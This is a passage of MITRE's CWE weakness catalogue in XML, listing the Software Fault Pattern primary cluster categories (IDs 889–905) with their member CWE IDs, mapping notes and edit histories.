               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-07-31">SFP Cluster: API</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="889" Name="SFP Primary Cluster: Exception Management" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Exception Management cluster (SFP4, SFP5, SFP6).</Summary>
         <Relationships>
            <Has_Member CWE_ID="960" View_ID="888"/>
            <Has_Member CWE_ID="961" View_ID="888"/>
            <Has_Member CWE_ID="962" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-03-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-07-31">SFP Cluster: Exception Management</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="890" Name="SFP Primary Cluster: Memory Access" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Memory Access cluster (SFP7, SFP8).</Summary>
         <Relationships>
            <Has_Member CWE_ID="970" View_ID="888"/>
            <Has_Member CWE_ID="971" View_ID="888"/>
            <Has_Member CWE_ID="972" View_ID="888"/>
            <Has_Member CWE_ID="973" View_ID="888"/>
            <Has_Member CWE_ID="974" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-03-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-07-31">SFP Cluster: Memory Access</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="891" Name="SFP Primary Cluster: Memory Management" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Memory Management cluster (SFP38).</Summary>
         <Relationships>
            <Has_Member CWE_ID="969" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-03-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-07-31">SFP Cluster: Memory Management</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="892" Name="SFP Primary Cluster: Resource Management" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Resource Management cluster (SFP37).</Summary>
         <Relationships>
            <Has_Member CWE_ID="982" View_ID="888"/>
            <Has_Member CWE_ID="983" View_ID="888"/>
            <Has_Member CWE_ID="984" View_ID="888"/>
            <Has_Member CWE_ID="985" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-03-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-07-31">SFP Cluster: Resource Management</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="893" Name="SFP Primary Cluster: Path Resolution" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Path Resolution cluster (SFP16, SFP17, SFP18).</Summary>
         <Relationships>
            <Has_Member CWE_ID="979" View_ID="888"/>
            <Has_Member CWE_ID="980" View_ID="888"/>
            <Has_Member CWE_ID="981" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-03-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-07-31">SFP Cluster: Path Resolution</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="894" Name="SFP Primary Cluster: Synchronization" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Synchronization cluster (SFP19, SFP20, SFP21, SFP22).</Summary>
         <Relationships>
            <Has_Member CWE_ID="986" View_ID="888"/>
            <Has_Member CWE_ID="987" View_ID="888"/>
            <Has_Member CWE_ID="988" View_ID="888"/>
            <Has_Member CWE_ID="989" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-03-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-07-31">SFP Cluster: Synchronization</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="895" Name="SFP Primary Cluster: Information Leak" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Information Leak cluster (SFP23).</Summary>
         <Relationships>
            <Has_Member CWE_ID="963" View_ID="888"/>
            <Has_Member CWE_ID="964" View_ID="888"/>
            <Has_Member CWE_ID="965" View_ID="888"/>
            <Has_Member CWE_ID="966" View_ID="888"/>
            <Has_Member CWE_ID="967" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-03-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-07-31">SFP Cluster: Information Leak</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="896" Name="SFP Primary Cluster: Tainted Input" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Tainted Input cluster (SFP24, SFP25, SFP26, SFP27).</Summary>
         <Relationships>
            <Has_Member CWE_ID="990" View_ID="888"/>
            <Has_Member CWE_ID="991" View_ID="888"/>
            <Has_Member CWE_ID="992" View_ID="888"/>
            <Has_Member CWE_ID="993" View_ID="888"/>
            <Has_Member CWE_ID="994" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-03-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-07-31">SFP Cluster: Tainted Input</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="897" Name="SFP Primary Cluster: Entry Points" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Entry Points cluster (SFP28).</Summary>
         <Relationships>
            <Has_Member CWE_ID="1002" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-03-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-07-31">SFP Cluster: Entry Points</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="898" Name="SFP Primary Cluster: Authentication" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Authentication cluster (SFP29, SFP30, SFP31, SFP32, SFP33, SFP34).</Summary>
         <Relationships>
            <Has_Member CWE_ID="947" View_ID="888"/>
            <Has_Member CWE_ID="948" View_ID="888"/>
            <Has_Member CWE_ID="949" View_ID="888"/>
            <Has_Member CWE_ID="950" View_ID="888"/>
            <Has_Member CWE_ID="951" View_ID="888"/>
            <Has_Member CWE_ID="952" View_ID="888"/>
            <Has_Member CWE_ID="953" View_ID="888"/>
            <Has_Member CWE_ID="954" View_ID="888"/>
            <Has_Member CWE_ID="955" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-03-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-07-31">SFP Cluster: Authentication</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="899" Name="SFP Primary Cluster: Access Control" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Access Control cluster (SFP35).</Summary>
         <Relationships>
            <Has_Member CWE_ID="944" View_ID="888"/>
            <Has_Member CWE_ID="945" View_ID="888"/>
            <Has_Member CWE_ID="946" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-03-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-07-31">SFP Cluster: Access Control</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="901" Name="SFP Primary Cluster: Privilege" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Privilege cluster (SFP36).</Summary>
         <Relationships>
            <Has_Member CWE_ID="250" View_ID="888"/>
            <Has_Member CWE_ID="266" View_ID="888"/>
            <Has_Member CWE_ID="267" View_ID="888"/>
            <Has_Member CWE_ID="268" View_ID="888"/>
            <Has_Member CWE_ID="269" View_ID="888"/>
            <Has_Member CWE_ID="270" View_ID="888"/>
            <Has_Member CWE_ID="271" View_ID="888"/>
            <Has_Member CWE_ID="272" View_ID="888"/>
            <Has_Member CWE_ID="274" View_ID="888"/>
            <Has_Member CWE_ID="520" View_ID="888"/>
            <Has_Member CWE_ID="653" View_ID="888"/>
            <Has_Member CWE_ID="9" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-03-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-07-31">SFP Cluster: Privilege</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="902" Name="SFP Primary Cluster: Channel" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Channel cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="956" View_ID="888"/>
            <Has_Member CWE_ID="957" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-03-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-07-31">SFP Cluster: Channel</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="903" Name="SFP Primary Cluster: Cryptography" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Cryptography cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="958" View_ID="888"/>
            <Has_Member CWE_ID="959" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-03-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-07-31">SFP Cluster: Cryptography</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="904" Name="SFP Primary Cluster: Malware" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Malware cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="506" View_ID="888"/>
            <Has_Member CWE_ID="507" View_ID="888"/>
            <Has_Member CWE_ID="508" View_ID="888"/>
            <Has_Member CWE_ID="509" View_ID="888"/>
            <Has_Member CWE_ID="510" View_ID="888"/>
            <Has_Member CWE_ID="511" View_ID="888"/>
            <Has_Member CWE_ID="512" View_ID="888"/>
            <Has_Member CWE_ID="69" View_ID="888"/>
            <Has_Member CWE_ID="968" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-03-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-07-31">SFP Cluster: Malware</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="905" Name="SFP Primary Cluster: Predictability" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Predictability cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="330" View_ID="888"/>
            <Has_Member CWE_ID="331" View_ID="888"/>
            <Has_Member CWE_ID="332" View_ID="888"/>
            <Has_Member CWE_ID="333" View_ID="888"/>
            <Has_Member CWE_ID="334" View_ID="888"/>
            <Has_Member CWE_ID="335" View_ID="888"/>
            <Has_Member CWE_ID="336" View_ID="888"/>
            <Has_Member CWE_ID="337" View_ID="888"/>
            <Has_Member CWE_ID="338" View_ID="888"/>
            <Has_Member CWE_ID="339" View_ID="888"/>
